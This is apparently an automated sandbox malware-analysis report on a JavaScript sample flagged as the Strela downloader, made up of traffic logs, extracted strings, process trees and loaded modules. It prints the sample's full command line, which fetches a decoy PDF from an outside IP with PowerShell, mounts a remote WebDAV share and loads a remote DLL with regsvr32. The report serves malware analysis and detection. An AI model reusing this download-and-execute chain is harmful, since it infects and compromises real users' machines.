HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1345955211.00000194BED90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1414516982.00000266768B9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1414203832.00000266768DD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1420301074.0000026676888000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1420417394.00000266768B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1414516982.00000266768B9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1420417394.00000266768B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/O
Source: net.exe, 00000007.00000002.1420301074.0000026676888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.2633879972.0000026E664A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1425652043.0000026E6BC00000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 8012, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 283532861321088537.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8112:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xxfotmgj.otd.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\283532861321088537.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2288 --field-trial-handle=1528,i,8002698402134239555,5701417952929339914,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2288 --field-trial-handle=1528,i,8002698402134239555,5701417952929339914,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
